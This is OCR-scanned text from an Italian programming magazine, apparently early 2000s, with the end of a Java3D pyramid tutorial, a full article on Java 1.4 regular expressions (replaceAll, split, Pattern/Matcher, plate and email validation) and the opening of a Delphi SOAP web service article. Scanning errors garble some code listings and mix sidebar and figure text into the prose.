rare tre triangoli con coordinate e colori differenti. Esi- 
stono altri metodi più rapidi e performanti per arri- 
vare allo stesso risultato ma, per oggi, accontentatevi 
di utilizzare questo semplice sistema. 
Se compilate il vostro programma, noterete che la pi- 
ramide ora appare mostrando una delle sue facce in 
maniera statica e nascondendo tutta la sua tridimen- 
sionalità. Per poter apprezzare la reale geometria del 



solido dobbiamo fare in modo di osservarlo in movi- 
mento, sostituendo all'ultima riga di codice immessa, 
cioè: 

gruppo. addChild(new Shape3D(piramide)); 

questo altro insieme di righe: 



Transform3D modifica = new Transform3D(); 

Transform3D tmpModifica = new Transform3DQ; 

modifica.rotX(Math.PI/4.0d); 

tmpModifica.rotY(Math.PI/5.0d); 

modifica .mul(tmpModifica); 

TransformGroup trasformatore 1 = new 

TransformGroup(modifica); 

TransformGroup trasformatore2=new TransformGroupQ; 
trasformatore2.setCapability( 

TransformGroup.ALLOW_TRANSFORM_WRITE); 

gruppo.addChild(trasformatorel); 

trasformatomi .addChild(trasformatore2); 

Alpha tempo = new Alpha(-1,80QQ); 

Rotationlnterpolator rotazione= 

new RotationInterpolator(tempo / trasformatore2); 

BoundingSphere area = new BoundingSphereQ; 

rotazione.setSchedulingBounds(area); 

trasformatore2.addChild(rotazione); 

trasformatore2.addChild(new Shape3D(piramide)); 



Mediante l'utilizzo di una semplice animazione pos- 
siamo ora finalmente apprezzare la reale tridimensio- 
nalità del solido. Prima di concludere voglio però in- 
trodurvi nelle possibilità offerte dalla classe Appearan- 
ce, che, come già detto, può modificare l'estetica del 
solido che abbiamo realizzato. Il codice seguente non 
è altro che la dichiarazione e l'utilizzo di un oggetto 
Appearance per la piramide che fa in modo che essa 
appaia in wireframe, e cioè con le sole linee di contor- 
no tracciate. Il listato seguente va inserito in sostitu- 
zione dell' ultima righa di codice immesa, cioè: 

trasformatore2.addChild(new Shape3D(piramide)); 

Ecco il codice: 

PolygonAttributes pa= new PolygonAttributesQ; 

pa.setPolygonMode(PolygonAttributes.POLYGON_LINE); 



Appearance estetica = new AppearanceQ; 

estetica .setPolygonAttributes(pa); 

trasformatore2.addChild(new Shape3D(piramide,estetica)); 



CONCLUSIONI 

Anche questo articolo è terminato, spero vi abbia 
chiarito le idee sul come si può arrivare a generare so- 
lidi 3D in maniera relativamente semplice. Vedremo 
nei prossimi articoli quali strumenti Java3D mette a 
disposizione degli sviluppatori per semplificare il la- 
voro. A presto. 

Giuliano Uboldi 
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Espressioni 

REGOLARI IN JAVA 1.4 



J2SE 1.4 



File SUI CD 

\soft\codice\jdkl4.zip 



3 



Un esempio 

L'esempio più sem- 
plice di espressio- 
ne regolare è una strin- 
ga semplice, "ciao" per 
esempio. L'insieme del- 
le stringhe che rispetta 
tale pattern ha un sin- 
golo elemento ed è pro- 
prio la stringa "ciao". 



La versione J2SE 1.4 di Java 

prevede il supporto alle 

espressioni regolari, già note ai 

programmatori Perl. In 

quest'articolo mostreremo cosa 

sono e come utilizzarle nelle 

applicazioni Java. 



In modo molto semplice possiamo definire un'e- 
spressione regolare come una stringa che consente 
di individuare un insieme, finito o infinito di altre 
stringhe. Questa definizione è comunque volutamen- 
te e notevolmente semplificata, ma sufficiente ai nostri 
scopi. In effetti, i concetti che si celano dietro le espres- 
sioni regolari sono ben più generali ed attingono a 
quella parte di teoria dell'informazione che analizza i 
linguaggi regolari, le grammatiche regolari e gli auto- 
mi a stati finiti. Chi ha frequentato Scienze dell'Infor- 
mazione, Informatica o Ingegneria Informatica sa per- 
fettamente di cosa sto parlando. In pratica però, per 
sviluppare applicazioni Java che usino le espressioni 
regolari, non è assolutamente necessario conoscere nei 
particolari la teoria che c'è dietro. Come ho già detto, è 
sufficiente vedere un'espressione regolare come un 
pattern, scritto secondo delle regole che andremo ad 
esaminare, che consente di individuare un insieme di 
stringhe che lo "rispettano". L'esempio più semplice di 
espressione regolare è una stringa semplice, "ciao " per 
esempio. L'insieme delle stringhe che rispetta tale pat- 
tern ha un singolo elemento ed è proprio la stringa 
"ciao ". Per scrivere pattern in modo che individuino 
un insieme di cardinalità superiore ad uno è necessa- 
rio introdurre dei caratteri speciali. Uno di questi per 
esempio è \d che indica una qualsiasi cifra da a 9. Il 
pattern "ciao\d " individuerà quindi un insieme com- 
posto da dieci stringhe: "ciaoO", "ciaol", ..., "ciao9". 
Forse però stiamo correndo un po' troppo... 
Java 1.4 supporta le espressioni regolari; per farlo ha 
introdotto il nuovo package java.util.regex ed ha ag- 
giunto alcuni metodi alla classe String. In quest'artico- 
lo vedremo come, e perché, utilizzare espressioni re- 
golari nelle applicazioni Java. In particolare introdur- 
remo i costrutti principali per la creazione dei pattern, 
mostreremo come trovare e sostituire sottostringhe in 
una stringa, introdurremo il nuovo package java.util 
.regex e infine mostreremo qualche esempio pratico 
d'utilizzo. 



COSTRUTTI PER LE 
ESPRESSIONI REGOLARI 

Java 1.4 adotta una particolare sintassi per costruire 
espressioni regolari molto simile a quella usata da 
Perl. Chi conosce Perl è quindi sicuramente avvantag- 
giato e riuscirà a capire come utilizzare le espressioni 
regolari in Java in pochissimo tempo. Per costruire un 
pattern è possibile usare i seguenti elementi: 

• Caratteri. Come abbiamo visto, il pattern "ciao" 
era composto esclusivamente da caratteri. È possi- 
bile inoltre introdurre, all'interno di un pattern, ca- 
ratteri "non ordinari" preceduti dal simbolo "\". 
Alcuni esempi sono lo spazio, il tab, la new line, 
ecc.. Per esempio "ciao\n " è un pattern che indivi- 
dua la stringa "ciao" seguita da un carattere di 
nuova linea. 

• Caratteri speciali. Sono dei caratteri che all'interno 
delle espressioni regolari assumono un significato 
speciale e che in un certo senso caratterizzano l'e- 
spressione stessa. Caratteri speciali, come ve- 
dremo, sono * ?, [, ], \, ecc.. 

• Classi di caratteri. Sono delle espressioni racchiu- 
se in parentesi quadra che individuano un insieme 
di caratteri. Per esempio la classe [A-Z] individua 
il range di caratteri (maiuscoli) compresi tra AeZ. 

• Classi di caratteri predefiniti. All'interno di un 
pattern, alcune classi di carattere d'uso frequente 
possono essere specificate con un semplice caratte- 
re di controllo. Per esempio, la classe [0-9], che in- 
dica tutte le cifre da a 9, come abbiamo visto può 
essere specificata con \d. 

In Tab. 1, sono elencati alcuni dei caratteri che posso- 
no comparire all'interno di un'espressione regolare. Se 
quindi si vuole specificare un pattern per la stringa 
Mario Rossi dove il cognome è separato dal nome da 



Carattere 


Descrizione 


X 


Un carattere 


\\ 


Backslash 


\t 


Tab 


\n 


New Line 


\r 


Carriage Return 


\f 


Form Feed 


\e 


Escape 



Tab. 1: Caratteri per le espressioni regolari. 
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Classe 


Descrizione 


[abc] 


"a", "b" o "e" (classe semplice) 


[ A abc] 


Ogni carattere eccetto "a ", "b " o "e " 
(negazione) 


[a-zA-Z] 


Da "a" a "z" o da "A" a "Z" (range) 


[a-z-[bc]] 


Da "a" a "z", eccetto "b" e "e": [ad-z] 
(sottrazione) 


[a-z-[m-p]] 


Da "a" a "z", eccetto da "m" a "p": [a-lq-z] 


[a-z-[ A def]] 


"d", "e" o "/" 



Tab. 2: Classi per le espressioni regolari. 

un tab, il risultato sarà l'espressione regolare "Mario 
\tRossi". In Tab. 2, sono invece presenti alcune tra le 
principali classi di caratteri. Attraverso le classi, è pos- 
sibile scrivere pattern che individuano insiemi di 
stringhe di cardinalità maggiore di uno o addirittura 
infinita. Il pattern [abc] individua tutte le stringhe 
composte da un singolo carattere che può essere 'a' , 
'b ', o 'e '. Il pattern [A-Za-z] invece, individua tutte le 
stringhe composte da un singolo carattere maiuscolo o 
minuscolo appartenente al range A-Z o a-z. Combi- 
nando l'uso delle classi a quello dei caratteri speciali è 
possibile ottenere stringhe che vanno oltre il singolo 
carattere. Per esempio con [A-Z]* si individuano tutte 
le stringhe maiuscole composte dai caratteri di range 
A-Z. In questo caso, l'insieme di stringhe che rispetta 
[A-Z]* è infinito. Come mostrato nella tabella, è possi- 
bile anche effettuare unioni, intersezioni e sottrazioni. 
In Tab. 3, sono presenti alcune delle classi di caratteri 
predefinite. Dire [0-9] oppure \d è quindi la stessa co- 
sa. Sulla documentazione Sun relativa alla classe Pat- 
tern (vedi risorse) è possibile trovare altri comandi, di 
notevole importanza, che possono essere usati per co- 
struire espressioni regolari. Nel corso di quest'articolo 
utilizzeremo alcuni di questi comandi fornendo di 
volta in volta le dovute spiegazioni. 



Classe 


Descrizione 




Ogni carattere 


\d 


Una cifra: [0-9] 


\D 


Tutto tranne le cifre: [ A 0-9] 


\s 


Spazio: [ \t\n\xOB\f\r] 


\S 


Tutto tranne lo spazio: [ A \s] 


\w 


Caratteri che solitamente compaiono 
nelle parole: [a-zA-Z_0-9] 


\W 


Caratteri che solitamente non 
compaiono nelle parole: [ A \w] 



prima è un'espressione regolare. Il metodo ricerca, al- 
l'interno della stringa che l'ha invocato, tutte le occor- 
renze dell'espressione regolare e le sostituisce con la 
seconda stringa che ha in input. Consideriamo il se- 
guente esempio: 



String s = "Viva l'italia"; 


s = s.replaceAII("italia", 


"Italia"); 


// Visualizzerà "Viva L'Italia" 


System, out.println(s); 



La sottostringa "italia" appartenente alla stringa s è 
stata sostituita con la sottostringa corretta, vale a dire 
"Italia ". Come primo parametro di replaceAll è possibi- 
le inserire una qualsiasi espressione regolare valida. 
La seguente riga per esempio 

s = s.replaceAII("\n"," "); 

sostituisce tutte le new line presenti nella stringa s con 
uno spazio. A questo punto potremmo realizzare una 
semplice applicazione Java che effettua il "trova e sosti- 
tuisci" in una TextArea. Il look della GUI sarà come 
quello mostrato in Fig. 1. 





^Espressioni Regolari 






Trova |[Cc]iao\n 




Sostituisci |CIA0 


Se 


ciao 
Ciao 
Ciao 



Tab. 3: Classi predefinite. 



Fig. 1: L'applicazione "Trova e sostituisci". 

Attraverso la TextField "Trova " è possibile specificare 
l'espressione regolare da ricercare all'interno della Tex- 
tArea. La TextField "Sostituisci" conterrà invece la 
nuova stringa. Premendo il bottone "Sostituisci" av- 
verrà la sostituzione. Nell'esempio le stringhe corri- 
spondenti al pattern "[Cc]iao \n" (ovvero "Ciao \n " e 
"ciao\n") saranno sostituite, dalla stringa "CIAO". Il 
risultato è in Fig. 2. Se desideriamo che la stringa da 
cercare rappresenti una parola intera (e non una parte 
di essa), bisogna specificare il carattere speciale \b 
(border). Supposto che la stringa nella TextArea sia 
"CiaoCiaoCiao Ciao " con: 

Trova = "\bCiao\b" 

Sostituisci = "CIAO" 
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Combinazioni 

Combinando l'uso 
delle classi a quel- 
lo dei caratteri speciali 
è possibile ottenere 
stringhe che vanno ol- 
tre il singolo carattere. 
Per esempio con [A-Z]* 
si individuano tutte le 
stringhe maiuscole 
composte dai caratteri 
di range A-Z. In questo 
caso, l'insieme di strin- 
ghe che rispetta [A-Z]* 
è infinito. 



TROVA E SOSTITUISCI 

La prima applicazione riguardante le espressioni re- 
golari che ci viene in mente è quella che cerca una sot- 
tostringa all'interno di una stringa, eventualmente, la 
sostituisce con un'altra. Java 1.4, attraverso alcune 
estensioni apportate alla classe String, consente in mo- 
do molto semplice tale operazione. Il metodo repla- 
ceAll di String prende in input due stringhe di cui la 



si otterrà 



"CiaoCiaoCiao CIAO" 



Solo l'ultimo "Ciao " sarà sostituito poiché rappresenta 
una parola intera, la sottostringa "CiaoCiaoCiao" ri- 
marrà invariata. Il codice completo dell'applicazione è 
presente con il CD allegato alla rivista; qui ne riporte- 
remo solo la parte più interessante, cioè l'azione da 
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Positional 
Operators 



r% Operatori Posizio- 
■^ nali Grazie ai cosid- 
detti operatori posizio- 
nali, le espressioni re- 
golari consentono di te- 
nere conto anche della 
posizione dei caratteri 
all'interno di una strin- 
ga: 

A inizio di una riga 

$ fine di una riga 

\b limite di un a parola 
isolata 

\B opposto di \b: non 
si trova al limite di 
una parola 

\A inizio dell'input 

\G fine del precedente 
match 

\z fine dell'input 



: Espressioni Regolari 



ICIAO CI 



Trova 



|[Cc]iao\n 



Sostituisci CIAO 



CIAO CIAO CIAO 



Fig. 2: Risultato di una sostituzione. 

compiere nel momento in cui l'utente preme il bottone 
"Sostituisci ". Il bottone internamente si chiama JbtnRe- 
place e di seguito è riportata l'implementazione relati- 
va al suo ActionListener: 

_btnReplace.addActionListener(new ActionListenerQ { 

public void actionPerformed(ActionEvent e){ 

RegExpr.this.replace(); } }); 

Come si può vedere, il metodo actionPerformed ri- 
chiamerà il metodo replace della classe RegExpr (Que- 
sto è il nome che ho dato alla classe rappresentate l'ap- 
plicazione). L'implementazione del metodo privato re- 
place è invece il seguente: 

private void replaceQ { 

String find = _txtFind.getText(); 

String replace = _txtReplace.getText(); 

String oldText = _txtText.getText() 

String newText = oldText.replaceAII(find, replace); 

_txtText.setText(newText); } 

La variabile JxtFind è la TextField associata alla strin- 
ga da cercare; il contenuto viene messo nella stringa 
find. La variabile JxtReplace è la TextField associata al- 
la stringa che prenderà il posto di quella trovata; il 
contenuto viene messo nella stringa replace. La varia- 
bile JxtText è la TextArea associato al testo; il conte- 
nuto viene messo nella stringa oldText. A questo punto 
si invoca replace Ali, che effettua la sostituzione; il risul- 
tato è memorizzato nella stringa newText, la quale 
verrà assegnata alla TextArea JxtText. Tutto molto 
semplice, come si può notare. Da segnalare che la clas- 
se String contiene anche il metodo replaceFirst che, al 
contrario di replace Ali, rimpiazza solo la prima occor- 
renza della stringa e non tutte. 

SPLIT 

Una funzionalità molto interessante, che si rivelerà 
utile in numerosi casi, è rappresentata dal nuovo me- 
todo String.split. Questo metodo, ricevendo in input 
un'espressione regolare, suddivide la stringa che l'ha 
invocato in tante sottostringhe usando l'espressione 
regolare come separatore. Le sottostringhe saranno re- 
stituite in un array. Consideriamo il seguente esempio: 



String s = "java.util.regex"; 


String sp[] = 


s.splitrW"); 




for (int i = 0; 


i < sp.length; 


i++) 


{ System, out 


.println(sp[i]); 


} 



La stringa "java.util.regex" sarà splittata usando il pun- 
to come separatore. Il risultato dell'esecuzione sarà 
quindi: 

java 
util 
regex 

E' importante notare la maniera in cui è stato specifi- 
cato il punto all'interno dell'espressione regolare: non 
è possibile indicarlo semplicemente con "." perché 
questo simbolo è uno dei caratteri speciali per le 
espressioni regolari. Dobbiamo quindi ricorrere a "Y", 
ma siccome nelle stringhe Java il backslash è un carat- 
tere speciale è stato necessario specificare "\Y". 

IL PACKAGE 
JAVA.UTIL.REGEX 

Come abbiamo già detto, J2SE 1.4 introduce il nuovo 
package java.util.regex per il supporto alle espressioni 
regolari. Questo package consiste in due classi ed 
un'eccezione. La prima classe, chiamata Pattern, come 
dice il nome stesso incapsula un pattern, in altre paro- 
le un'espressione regolare. Attraverso la classe Pattern 
è possibile compilare l'espressione regolare, cioè de- 
terminare se rispetta la sintassi usata da Java 1.4. Nel 
caso il cui l'espressione non sia conforme a tale sintas- 
si sarà lanciata l'eccezione PatternSystemException. 
Il metodo compile è disponibile in due versioni diffe- 
renti. La prima accetta in input esclusivamente l'e- 
spressione regolare come stringa: 

Pattern p = Pattern. compile("\\bJava\\b"); 

La seconda versione invece accetta un parametro ad- 
dizionale, chiamato flag, che fornisce indicazioni sul 
modo in cui deve essere compilata l'espressione. Que- 
sto secondo parametro è un intero che può essere pas- 
sato utilizzando alcuni dei valori predefiniti della clas- 
se Pattern. Il flag più importante, e forse più utilizzato, 
è CASE INSENSITIVE attraverso il quale s'informa il 
compilatore di espressioni che il pattern non differen- 
zia i caratteri maiuscoli da quelli minuscoli. 
Consideriamo la seguente riga di codice: 

Pattern p = Pattern .compileC'WbJavaWb", 

Pattern. CASE_INSENSITIVE); 

In questo caso la stringa "Java " rispetterà il pattern, ma 
anche "java", "JAVA", "jAva" e tutte le altre possibili 
combinazioni. Attraverso un'istanza di Pattern è poss- 
ibile ottenere, invocando il metodo matcher, un ogget- 
to della seconda classe presente nel package util. java 
.regex, vale a dire Matcher. La classe Matcher incapsula 
la coppia (pattern, testo) dove pattern è l'oggetto di ti- 
po Pattern su cui è stato invocato il metodo matcher e 
testo è una stringa sulla quale si vuole applicare il pat- 
tern. Con un esempio sarà tutto più chiaro: 
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Pattern p = Pattern.compile("\\bJava(\\w*)"); 

String text = "Il linguaggio JavaScript è diverso da Java"; 

Matcher m = p.matcher(text); 

while(m.findQ) { 

System. out.println("Trovato alla posizione: " + m.start()); } 

Come si può notare, il pattern p rappresenta l'espres- 
sione regolare "\\bjava(\\w*)" che individua tutte le 
stringhe che iniziano con la sottostringa "Java". Dal- 
l'oggetto p, attraverso il metodo matcher, è stata creata 
un'istanza della classe Matcher. L'oggetto m individua 
quindi la coppia (p,text) dove p è il Pattern e text è la 
stringa "Il linguaggio JavaScript è diverso da Java". Il 
metodo fina di Matcher ricercherà il pattern all'interno 
del testo e restituirà true ogni qualvolta il pattern ven- 
ga individuato. A questo punto, attraverso il metodo 
start è possibile conoscere la posizione di partenza 
esatta, all'interno di text, della sottostringa individua- 
ta. Nel nostro esempio, il pattern comparirà due volte: 
alla posizione 14 e alla 38. 



targhe è "[A-Z]{2} [0-9]{3} [A-Z]{2}". I valori tra paren- 
tesi graffa indicano esattamente quante volte la classe 
che li precede deve essere ripetuta (vedi [2] per ulte- 
riori chiarimenti). Una volta creato l'oggetto Pattern e 
l'oggetto Matcher (avente in input la targa come strin- 
ga), utilizzando il metodo matches sarà possibile deter- 
minare se la targa rispetta il pattern o meno. Ovvia- 
mente, il controllo è esclusivamente sintattico e non 
semantico: la targa XZ 678 FF è per esempio valida, ma 
non è detto che esista un'automobile in Italia avente 
quella targa. Un'altra importante applicazione delle 
espressioni regolari è quella di stabilire se una stringa 
rappresenta un indirizzo e-mail valido. Un indirizzo 
valido deve rispettare le seguenti condizioni: 

• non deve iniziare con ". " o "@ "; 

• non deve iniziare con "www. "; 

• non deve contenere caratteri diversi da: lettere, nu- 
meri e "M -~#". 
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VALIDAZIONE 

Una prima applicazione delle espressioni regolari, co- 
me abbiamo visto, è quella di realizzare la funzionalità 
"trova e sostituisci". Il campo d'applicazioni è però 
molto più vasto: le espressioni regolari possono essere 
usate in svariate circostanze per risolvere in modo 
molto semplice problemi complessi. Un altro esempio 
nel quale le espressioni regolari si rivelano molto utili 
riguarda le problematiche di validazione dell'input. 
Supponiamo che un'applicazione accetti in input una 
targa d'automobile italiana che adotta il sistema in 
funzione dal 1994. Il formato della targa è del tipo AA 
NNN AA, dove AA sono due lettere ed NNN sono tre 
cifre. La stringa sarà quindi formata da 9 caratteri (in- 
cludendo anche gli spazi). Il sistema dovrebbe impe- 
dire l'inserimento di targhe non valide, come ad esem- 
pio A9 B66 7U. Per risolvere il problema si può pensa- 
re di scrivere una funzione che suddivide la stringa, 
controlla che i primi due caratteri siano lettere, che il 
terzo sia uno spazio, che i successivi tre siano numeri, 
che il quarto sia uno spazio e infine che gli ultimi due 
siano delle lettere. Niente di complicato intendiamoci, 
però giocare con stringhe e sottostringhe è sempre una 
cosa noiosa. Utilizzando le espressioni regolari, il pro- 
blema sarà risolto in modo molto semplice. Ecco la 
funzione che valida una targa italiana: 

private boolean isValidTarga(String targa) { 

Pattern p = 

Pattern.compile("[A-Z]{2> [0-9]{3> [A-Z]{2}"); 
Matcher m = p.matcher(targa); 



if (m.matchesQ) 



return true; 



return false; 



} 



L'espressione regolare che individua l'insieme delle 



La funzione può essere quindi scritta nel modo se- 
guente: 

private boolean isValidEMail(String email) { 

// Controlla se inizia con . o @ 

Pattern p = Pattern .com pi ler^XVI^XVg)"); 



Matcher m = p.matcher(email); 



if (m.findQ) 



return false; 



// Controlla se inizia con www, 



p = Pattern.compileC'^wwwW."); 



m = p.matcher(email); 



if (m.findQ) 



return false; 



// Controlla che non contenga caratterinon validi 
p = Pattern.compile("[A-Za-zO-9\\.\\@_\\-~#]+"); 
m = p.matcher(email); 



if (m.matchesQ) 



return true; 



return false; 



} 



Anche in questo caso il controllo è puramente sintatti- 
co: l'e-mail mario.rossi@pippo.it è sicuramente un indi- 
rizzo e-mail valido, ma non è detto che esista. 



CONCLUSIONI 

In quest'articolo abbiamo esaminato un'altra delle 
nuove caratteristiche di Java 1.4: le espressioni regola- 
ri. Come abbiamo visto, essi possono risultare utili in 
svariati contesti, sia in applicazioni classiche sia in 
quelle basate su web. Inoltre, usando le classi Pattern 
e Matcher è possibile realizzare semplici funzioni di 
validazione che possono farci risparmiare numerose 
linee di noioso codice. 

Giuseppe Naccarato 
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SERVICE SECONDO BORLAND (parte ii) 



Web 

Services 



File sul CD^ 

soft\codice\delphi_WS_ 
code. zip 



Convenzioni 
di chiamata 

/^t Per effettuare una 
-----J chiamata ad una pro- 
cedura o funzione in qua- 
lunque linguaggio esistono 
delle convenzioni per il 
passaggio dei parametri 
nei registri della CPU o nel- 
lo stack del programma e 
altre convenzioni simili per 
il clean-up dei registri e 
dello stack quando la fun- 
zione invocata termina la 
sua esecuzione ed il codice 
torna alla procedura chia- 
mante. Delphi supporta di- 
verse calling convention, 
tra cui quelle per il C, per 
offrire più flessibilità 
nell'interazione con codice 
di altri tool o scritto in altri 
linguaggi. È importantissi- 
mo utilizzare la convenzio- 
ne corretta nell'invocare 
metodi esterni perché que- 
sta determina l'ordine di 
passaggio dei parametri 
nonché chi dovrà ripulire 
stack e registri (se il chia- 
mante o il chiamato). Nel 
caso delle interfacce invo- 
cabili per i servizi web è es- 
senziale che la convention 
utilizzata sia stdcall, e que- 
sto va specificato esplicita- 
mente - come potete os- 
servare nei listati allegati 
all'articolo - in quanto il 
default per Delphi sarebbe 
register. 



Mettiamo a disposizione del 

mondo le nostre capacità di 

programmatori offrendo i nostri 

metodi come servizi web: 

servono solo Delphi, un web 

server US o Apache, e pochi 

secondi per il set-up iniziale. 



La volta scorsa abbiamo accennato alla ventata 
di novità soffiata dai web service, sofferman- 
doci sulle caratteristiche che li rendono così in- 
teressanti nel panorama dello sviluppo software dei 
nostri giorni. L'esercizio che ci ha accompagnato è sta- 
to la creazione di un client di un singolare web servi- 
ce che restituisce brani del Corano in base al capitolo 
e al versetto indicato, e questo ci ha dato modo di par- 
lare di WSDL e SOAP dal punto di vista di chi i servi- 
zi li usa. Questo mese invece ci mettiamo nei panni di 
chi i servizi li mette a disposizione. Creeremo un ser- 
vizio web che installeremo sotto US ed approfondire- 
mo contestualmente le nozioni legate a WSDL, SOAP 
e UDDI. Chi mi ha seguito anche nel numero prece- 
dente si sarà accorto di quanto sia prezioso Delphi nel 
venirci incontro e semplificare il codice d'accesso ai 
metodi esposti sotto forma di servizio web. Tutta l'in- 
frastruttura che gestisce il passaggio della chiamata 
tramite SOAP, nonché l'invio e la ricezione dei mes- 
saggi via rete sono totalmente a carico delle classi 
messe a disposizione da Delphi. Il bello è che tali clas- 
si sono anche facili da usare! Vi renderete conto anche 
in questo numero di come il nostro lavoro sia facilita- 
to dagli strumenti della Borland! A noi non resta che 
implementare i metodi scrivendo il codice della no- 
stra "business logie", mentre a distribuire tale "logie" 
ci penserà Delphi. Soffermiamoci però un attimo su 
ciò che è necessario per poter creare un servizio web 
quando si usano i wizard di Delphi: come ben sapre- 
te, i web service si basano sul protocollo HTTP, il che 
vuol dire che le chiamate ai metodi remoti avvengono 
tramite envelope SOAP incapsulate in request HTTP. 
Sarà quindi il caso di installare un web server sul vo- 
stro PC, di modo che il componente che contiene il 
vostro codice distribuito possa agganciarsi come 
plug-in a tale server e sfruttarne le capacità di gestio- 
ne del protocollo HTTP (le abilità di gestire SOAP so- 
no invece incluse nel componente generato da 
Delphi, come vedremo). 



CREARE UN SERVIZIO 
WEB (IN GENERE) 

La creazione di un web service consta nella scrittura 
di uno o più metodi in un qualunque linguaggio di 
programmazione e nel rendere tali metodi disponibi- 
li per l'invocazione tramite envelope SOAP che viag- 
gino sul protocollo HTTP. Nella visione del fra- 
mework di tale tecnologia software, alla stesura e al 
deployment dei metodi sono strettamente collegate 
altre due operazioni: da un lato, la creazione di un fi- 
le XML che descriva i metodi esposti insieme ai loro 
parametri e valori di ritorno (il WSDL di cui abbiamo 
parlato nel numero precedente), dall'altro, la registra- 
zione del servizio in un registry UDDI, che chiunque 
può consultare per scoprire l'URL d'accesso e le di- 
chiarazioni dei metodi offerti. Come abbiamo speri- 
mentato la volta scorsa, per utilizzare un servizio web 
lo si cerca prima sul registry UDDI, se ne scoprono i 
metodi tramite la descrizione formale fornita nel lin- 
guaggio WSDL, e poi si invocano i metodi del servi- 
zio utilizzando il protocollo SOAP. Abbiamo anche vi- 
sto che tutto questo, per la creazione di client in 
Delphi, si traduce nel parsing da parte di Delphi del 
WDSL del web service in questione, dal quale sarà de- 
rivata un'interfaccia Pascal contenente una dichiara- 
zione di tutti i metodi del servizio, la quale a run-time 
ci consentirà di invocare tali metodi generando un' en- 
velope SOAP di richiesta e interpretando l' envelope 
SOAP di risposta. Tutti questi passaggi - come vi ri- 
corderete - ci rendevano del tutto trasparente l'utiliz- 
zo del protocollo SOAP e la comunicazione HTTP sot- 
tostante. In maniera del tutto analoga, anche quando 
ci si adopera per creare un web service piuttosto che 
un client si fa uso di strumenti di sviluppo che ma- 
scherano l'implementazione del complesso fra- 
mework di remotizzazione delle chiamate. In linea di 
principio vi sarà data la possibilità di creare dei meto- 
di di business logie in modo molto semplice, con una 
serie di wizard o finestre di proprietà che generano 
poi il codice di accesso come servizio web. Vediamo 
come Delphi fa tutto questo, al solito molto semplice- 
mente ed efficacemente. 

CREARE UN SERVIZIO 
WEB (CON DELPHI) 

Si crea un nuovo progetto selezionando il tab WebSer- 
vices della finestra "New Items" e cliccando sul tipo 
SOAP Server Application (Fig. 1). Questa selezione vi 
porta alla scelta del tipo di servizio web che volete ge- 
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New | ActiveX | Multitier | WsEnampleOLL | Fornns | Dialogs | 
Project? | DataModules | Business | WebSnap WebServices 



«P B à 



S AP S erver S AP S erver WS D L 
Data Module Interface Importer 



(* Copy C jnherit C Use 



Cancel Help 



Fig. 1: Creazione di un progetto per Web Service. 

nerare dove vi vengono offerte cinque possibilità: le 
DLL per ISAPI/NSAPI o Apache Module sono ri- 
spettivamente dei plug-in per US /Netscape Server e 
Apache, in cui ogni richiesta web viene soddisfatta da 
un thread di un unico processo in esecuzione e le re- 
quest /response sono passate tra il server e il servizio 
sotto forma di strutture di dati; CGI invece crea un 
modulo che riceve dal web server la richiesta HTTP 
sullo stream di input di default e deve restituire la ri- 
sposta come stream di output di default, mentre il 
Win-CGI utilizza dei file per il passaggio della reque- 
st e della response: in entrambi questi ultimi due casi, 
comunque, le richieste web vengono soddisfatte con 
un nuovo processo per client. L'ultima opzione, infi- 
ne, consente di creare dei moduli da installare per l'u- 
tilizzo insieme al Web App Debugger di Delphi, che 
vi consentirebbe un'analisi dettagliata dei flussi 
HTTP durante l'esecuzione del vostro modulo. Una 
volta scelto il tipo di plug-in (vi consiglio i moduli 
per IIS/Netscape o Apache, che - sebbene non por- 
tabili - sono di solito più efficienti) vi viene chiesto 
se volete che venga creata un'interfaccia per il vo- 
stro servizio web: siccome è un'operazione che an- 
drà fatta comunque, tanto vale lasciare che Delphi 
generi automaticamente un po' di codice per noi. 
Si aprirà la finestra di impostazione della nuova 
interfaccia (Fig. 2), nella quale potete dare un nome 



Service Nanne 
IWsExarnpIej 

Unit identifier 
IWsExannpIe 



Code Generation 
1^ Generate comments 
17 Generate sample rnethods 

Service Activation Model: 
fPerRequest 



H 



Help 



Fig. 2: creazione di una nuova interfaccia per un 
Web Service. 



al modulo e richiedere che vengano generati com- 
menti e/o metodi di esempio. Alla fine di tutto ciò, 
vi sarà generato un progetto completo. Sicuramen- 
te noterete un web module che contiene le classi 
necessarie all'infrastruttura dei web service: un'i- 
stanza di THTTPSoapDispatcher per gestire le re- 
quest HTTP in entrata e passarle all'istanza di 
THTTPSoapPascallnvoker, la quale a sua volta gene- 



ra la chiamata Pascal al metodo corrispondente 
nell'interfaccia invocabile; infine l'istanza di TW- 
SDLHTMLPublish per predisporre la creazione di 
un documento WSDL di descrizione del nostro ser- 
vizio, documento che sarà scaricabile tramite web 
all'indirizzo del nostro web service. Grazie a queste 
tre classi, che insieme offrono il supporto completo 
per l'architettura dei web service, il codice di base del 
nostro progetto risulterà molto semplice: avremo la 
definizione dell'interfaccia invocabile che sarà utiliz- 
zata per indirizzare le request web su un metodo spe- 
cifico e un'implementazione di tale interfaccia che 
conterrà invece il codice del servizio vero e proprio. 
Noi non andremo in questa sede a scrivere dei meto- 
di nostri per il progetto: ci accontenteremo dei meto- 
di forniti come esempio, che molto semplicemente 
prendono un valore in input e lo restituiscono come 
valore di ritorno (una specie di eco informatico), in 
modo da concentrare tutta l'attenzione sul tool Delphi 
piuttosto che su codice esterno. 
Starà poi a voi - sulla base delle nozioni apprese - 
creare i vostri metodi, ricordando che l'unica cosa che 
va fatta è l'aggiunta di una dichiarazione nell'inter- 
faccia. 

La dichiarazione dei tipi nel servizio web d'esempio 

tY£e 

TEnumTest = (etNone, etAFew, etSome, etAlot); 

TDoubleArray = array of Doublé; 



TMyEmployee = class(TRemotable) 



private 



FLastName: AnsiString; 



FFirstName: AnsiString; 



FSalary: Doublé; 



published 



property LastName: AnsiString read FLastName 
write FLastName; 

property FirstName: AnsiString read FFirstName 
write FFirstName; 

property Salary: Doublé read FSalary write FSalary; 
end; 



{ Le interfacce invocabili come web service devono essere 
derivate da Hnvokable, che offre il supporto per RTTI 

_i 

IWsExample = interface(IInvokable) ['{ 

2777029E-B8D3-4896-A05E-8FD7FF297539}'] 

{ I metodi delle interfacce invocabili non devono 
usare la calling convention di default, bensi"stdcall" 
- I vostri metodi vanno dichiarati qui! 

_j 

function echoEnum(const Value: TEnumTest): 
TEnumTest; stdcall; 

function echoDoubleArray(const Value: 
TDoubleArray): TDoubleArray; stdcall; 

function echoMyEmployee(const Value: 
TMyEmployee): TMyEmployee; stdcall; 

function echoDouble(const Value: Doublé): 

Doublé; stdcall; 

end; 




Web 

rvices 



I Web 



Service 
secondo Borland 



Processi 
e Thread 

